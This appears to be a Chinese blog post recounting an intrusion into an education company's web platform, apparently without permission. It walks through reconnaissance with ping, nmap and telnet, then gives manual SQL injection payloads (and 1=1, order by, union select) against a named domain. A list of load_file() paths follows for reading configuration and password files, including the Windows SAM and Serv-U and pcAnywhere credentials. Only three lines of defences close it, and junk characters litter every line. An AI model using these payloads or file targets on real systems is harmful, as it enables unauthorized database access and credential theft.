题记:0 ^5 J {7 V5 Y" S, j. k- N. {
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
' q9 U- a7 M" n2 V! a' W第一步:获取需要的信息
: r) V o8 s+ Y p% ^由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
; c8 X. F# x/ z) i( @$ v1 Y9 M6 q1 x/ @注:以下为保护特用XXX代替敏感信息
- I. p' M% N3 t+ B! X7 i顺手先PING了一下他们的域名:
* l* S+ k1 D/ Z) K# ?8 w3 Vping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
# @" W6 V$ I* X/ l. p64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
. m% n$ [( P( z$ L7 F顺便了解一下TTL,学好基础知识才能一路顺风:4 z) r) M( l" T% e6 ~
TTL:(Time To Live ) 生存时间) @6 s, F9 W, Q1 v* a/ D
指定数据包被路由器丢弃之前允许通过的网段数量。: P" b( l4 f5 k! }0 Q" w
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
! y8 h8 S% A! g; q* x$ v: W使用PING时涉及到的 ICMP 报文类型
* t# O% ^$ V. C) E: f4 U- Z一个为ICMP请求回显(ICMP Echo Request)" H, ?; b. K. f6 P% G3 j
一个为ICMP回显应答(ICMP Echo Reply)
- e' S! Q0 t1 J4 M5 G5 Q7 S8 P( G1 }TTL 字段值可以帮助我们识别操作系统类型。
& b- `+ U5 _$ Y# W6 @0 BUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
u( R" o/ o$ V" VCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
8 o1 l1 O& P% p8 B! L9 H微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
3 L1 T4 E3 b" j: f. v% F- V微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32) O) s; g' ~; I ?
当然,返回的TTL值是相同的; i- {) }% }! h) i9 U3 D, S5 E6 d2 H
但有些情况下有所特殊; I4 E$ g4 C9 y0 X
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 646 T; W9 N" k6 R/ \! e
FreeBSD 4.1, 4.0, 3.4;# A5 L( d* D; \! P2 M; ?9 b
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;% O* H- g- o9 J2 K4 u4 i* w
OpenBSD 2.6, 2.7,
) y: v$ o/ k g! l$ D0 \3 R4 JNetBSD
- {8 _& y$ V. y0 v$ v% xHP UX 10.20
+ B- m5 f2 G- R: e- g Y8 cICMP 回显应答的 TTL 字段值为 255
8 ~; V. \# P' ?Windows 95/98/98SE+ h; H& X! m. b% P# L5 a7 p
Windows ME
: H) B" ], _5 M) o8 ?4 ^ICMP 回显应答的 TTL 字段值为 32
; u' u/ s ~0 C0 h. `Windows NT4 WRKS
! V9 W7 }9 s' O2 s k, Y! sWindows NT4 Server0 E7 P5 x6 G+ P. b
Windows 2000) y+ i* V( u$ I6 H
Windows XP- z$ V8 N; H7 ^! Y; T* W
ICMP 回显应答的 TTL 字段值为 1281 q$ l" n2 @% A: v5 K
这样,我们就可以通过这种方法来辨别操作系统0 Y! Z h: p: x. Y
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
- N6 z. j* i7 e8 F. C用NMAP扫描一下:5 X8 }( G0 t: @9 c0 _! [
nmap -sT -O XXX.XXX.XXX.XXX
6 r3 Y) @+ W5 D如果没有装WinPcap则会弹出提示:1 I* ~% T! j/ [1 h3 w1 ^7 G$ p" r
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
7 p6 j" _! ?' }$ d* \6 i( `ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect( e0 Z P% f( W4 R7 k) r3 C
) mode — Nmap may not function completely$ s& d1 F, j) d M* }7 ]8 m, G; z
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher6 X5 l" w+ u% z! g. Y
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
3 u8 S. ^) w% y1 [9 p3 N, @pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
2 l2 L1 s1 f3 A3 D( M, wd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v4 w- q! j1 m; |! n2 U; @7 |. j# q, [; E
ersions, you may be able to take iphlpapi.dll from another system and place it i. @. L# v& e: y
n your system32 dir (e.g. c:\windows\system32).
7 s ?5 _0 N3 g( ^5 q$ oQUITTING!
3 c5 H6 e4 p( j8 W9 a6 K到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe$ L" z* J# Z6 p! p! ]4 c# H
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
7 J3 ?$ u) u5 l! F# X$ d5 s% ^Interesting ports on XXX.XXX.XXX.XXX:
$ V: V% t# Z. q; F6 ~! m3 bNot shown: 986 closed ports
3 G# J' F/ d# @6 f5 ?8 o KPORT STATE SERVICE
8 L) s( G' r7 H( b2 A" B21/tcp open ftp. \5 I; l/ E0 j! }
22/tcp open ssh) S* O) y4 r* i5 x( k
23/tcp open telnet
$ U% H$ ^* E, x& Q* E/ }: [4 S8 n80/tcp open http/ E, A6 Z0 K- \3 h& s
111/tcp open rpcbind
( z1 y* M6 C r9 h8 J135/tcp filtered msrpc( i% w# m# g+ Y6 n2 D0 e0 h
139/tcp filtered netbios-ssn
; m9 V) B# ]5 B: c445/tcp filtered microsoft-ds
# E8 L f6 U' ?513/tcp open login8 b1 P4 c* `9 V- {. {) u9 Q0 r2 }
514/tcp open shell
) q* N# [$ c( W5 a5 G' g/ B593/tcp filtered http-rpc-epmap
+ N+ c* u# S) U2 t1720/tcp filtered H.323/Q.931. o8 U1 `% c+ i
3306/tcp open mysql
, D* \0 i! A. `4444/tcp filtered krb5245 I% r# ^" Y- J9 i- K
Device type: WAP
! a" R$ V! l2 H; m: j+ S1 E* rRunning: Linux 2.4.X4 r( l4 T# l/ h1 ~; i; Q
OS details: DD-WRT (Linux 2.4.35s); P# q' j& l' k2 @) q$ C
Network Distance: 13 hops
0 K+ Z3 l" l0 Z9 K7 n9 x看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
; _, {# o$ {- I' f* }. Hlogin as:
/ r; H# b- Q8 W+ iTelnet23端口也是开着的,用telnet 命令链接一下:! |, ~: |$ q( j; b" s
telnet XXX.XXX.XXX.XXX0 b8 M8 `4 n* O. R; A9 p7 b
提示:
' Q) e* U1 U X( y" pRed Hat Enterprise Linux Server release 5.2 (Tikanga), ]" k" O p5 G& r; D
Kernel 2.6.18-92.el5PAE on an i686( L1 I3 }% y) F8 b
login:/ M+ e Z# b; @8 G. s! k4 S
获取HTTP头信息:
6 A4 `7 W8 V; u- _8 ^1 f, L. j5 P在本地执行如下PHP代码
1 v$ f" N2 i, Z; }<?php# V! B- N: q$ |
$url = ‘XXX.XXX.XXX.XXX’;
2 U& y( B9 I1 G6 _% Gprint_r(get_headers($url));
+ Q: H5 }( M o, {) J2 @print_r(get_headers($url, 1)); b7 D. O: l; v7 i6 `1 O
?>
" R) S1 P" m, i! M将以上代码保存为PHP文件,执行:3 o, K9 P" b }, ]
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
" L9 I4 o0 F. |9 K. J0 e现在可以得出结论:5 u" x) x" D2 B5 c. y
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
( p& s* O# S) v8 B3 Y1 J/ S7 _- G2 `内核版本:Kernel 2.6.18-92.el5PAE on an i686
" k8 Z7 S# V& Y9 H% }WEB服务器版本:nginx/0.7.61
5 Q' L. E; [' |& t$ r# U% J第二步,开始测试寻找漏洞
( _% @# O" p: _# J( P* y分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。3 r1 p0 R E; C: A! _! S, R
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的- d; {0 A9 L- Q/ T6 C( p0 J1 P' |
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试" w0 ^4 \- r7 w* H8 i. X9 X
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
- N/ R0 r4 I" w9 }* p* z2 ^( ^3 \2 khttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误, u- M; f. i$ k& [
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
% ^! _7 w4 t8 ~6 k3、手工注入:1 l2 [) r3 T8 q5 f3 ?6 I
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。 s: t7 a$ ~) ^- u" o# j$ w7 W
3.1 猜测当前表字段数( v0 p5 j2 ^0 _$ z" H* {% |; a, P
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10( k$ Y" d* q7 ^6 `2 H
此处猜测有个简单的算法,都是有技巧的吗,呵呵
' F; F( K* C- j4 ^ G7 Z p5 x9 L算法简单如下:9 z. Q2 c/ j: J7 ~0 n
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
" F5 r- `+ [6 ?8 L第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
/ \- c9 p; b/ ~ t" C d需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。- {; j- `3 z7 u" t4 `* z8 q
以此来判断,是否过界,配合取中算法猜出字段数。 @' A" w0 t7 o @5 ]
举例:
. u; |- u5 d' n8 J' chttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常- {, l) p9 G0 ?' G6 V
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误+ d9 r/ [/ d$ | S* e! _
此时3则为我们要找的字段数。. E( H3 @1 z. e! a7 N4 O0 A9 t
3.2 配合union联合查询字段在页面所位置# P# u1 {0 E9 R, Q
我们已经知道了字段数为3,此时则可以做如下操作:
& l+ m7 P8 [) ohttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
; w! O$ S2 @0 v, ?! N( Z. O- C
* F& A. o$ z- s# Q这样就可以测试到哪些字段在页面上有所显示了,如图:
- ~! V' m$ b8 X" V4 N8 y& H' M; s8 Y1 k7 g' U, m+ x& N
3.3 查敏感信息
2 u5 _4 H9 [, r; i这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
' x& z' A; }8 E# g* Fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()$ g8 b+ q/ T1 y) D: `
3.3.1 先查数据库用户、数据库名,以备后用,如图:
! {$ c0 U* e, }' G% A G) s, Y, L8 O# X6 ^1 Y5 c( Z
得到数据库用户为root、数据库名为DBxx;
2 C6 A6 |1 z) O, b! N# p$ e- i% i3.3.2 查配置文件6 ~: P# J0 h6 V; e
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
+ Y5 D" {0 C6 x查看文件有一定的条件限制:
7 d; B7 L! D& t5 y8 G3 z欲读取文件必须在服务器上
. ]* h0 Z2 y5 B& A& y3 ^必须指定文件完整的路径5 S5 R1 X6 G" U+ B& j
必须有权限读取并且文件必须完全可读& J0 H9 w7 J. u5 E
欲读取文件必须小于 max_allowed_packet! g$ k* |+ F+ E& `4 m
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
, t" \: z* g! {, J4 o常用的一些:% G( ?2 M% Y0 [; Y
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
5 i }& d+ K* R3 x0 K3 b/usr/local/apache2/conf/httpd.conf. _5 Y) E, x) C. _: c. b* ?
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
& x5 t! }" @1 y$ V; W. p8 g/usr/local/app/php5/lib/php.ini //PHP相关设置
9 \0 t& [" [, p# P/etc/sysconfig/iptables //从中得到防火墙规则策略
y! \+ U3 ~5 u9 [0 w1 ~/etc/httpd/conf/httpd.conf // apache配置文件; k2 S- f5 P3 a; w" [
/etc/rsyncd.conf //同步程序配置文件
! q3 e; K* o1 q) o Y/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
. n S: Q8 I9 |& z# f/etc/my.cnf //mysql的配置文件+ W8 D: S7 b3 m$ V0 E, T
/etc/redhat-release //系统版本! Y, ]8 A- ~) S4 T+ |- y
/etc/issue, X2 z' [9 W- x( z5 f7 p3 |0 D# H
/etc/issue.net
& V9 I% s" H% r. K4 Pc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码: F7 j8 N& P8 w: x6 P e4 Z
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码3 j7 q" R j7 f: O& q, f0 V. q
c:\Program Files\Serv-U\ServUDaemon.ini
1 o1 `2 `0 N2 j. j5 S& Qc:\windows\my.ini //MYSQL配置文件
; p6 p0 J3 r" a7 W; O$ ac:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件' e# Z$ \6 W4 l1 l" T& V
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
' j4 W6 ]) Y+ l$ \& k1 Fc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码: Q) B* [' p1 l& g& f' Q! P9 v0 h. M
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此/ A, h6 Q0 _: N/ p( a8 C
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
# I7 I2 V0 Z ~' uC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
0 |9 K8 P6 [" n* K7 n5 o//存储了pcAnywhere的登陆密码9 @4 _3 e( `2 A B0 w9 |
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
+ }" i. a) j9 r! L u这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。7 d% H$ ~7 }0 a3 ~; H) _0 _: s8 c
最后:防范措施
) F& u5 E0 \9 J) O5 Q r. f1、修复PHP注入漏洞;- C0 a* {, t7 N; Y h' x
2、Mysql使用普通权限的用户;( K/ p) X) n& K5 |$ u) ?' n
3、升级linux内核至最新版本; |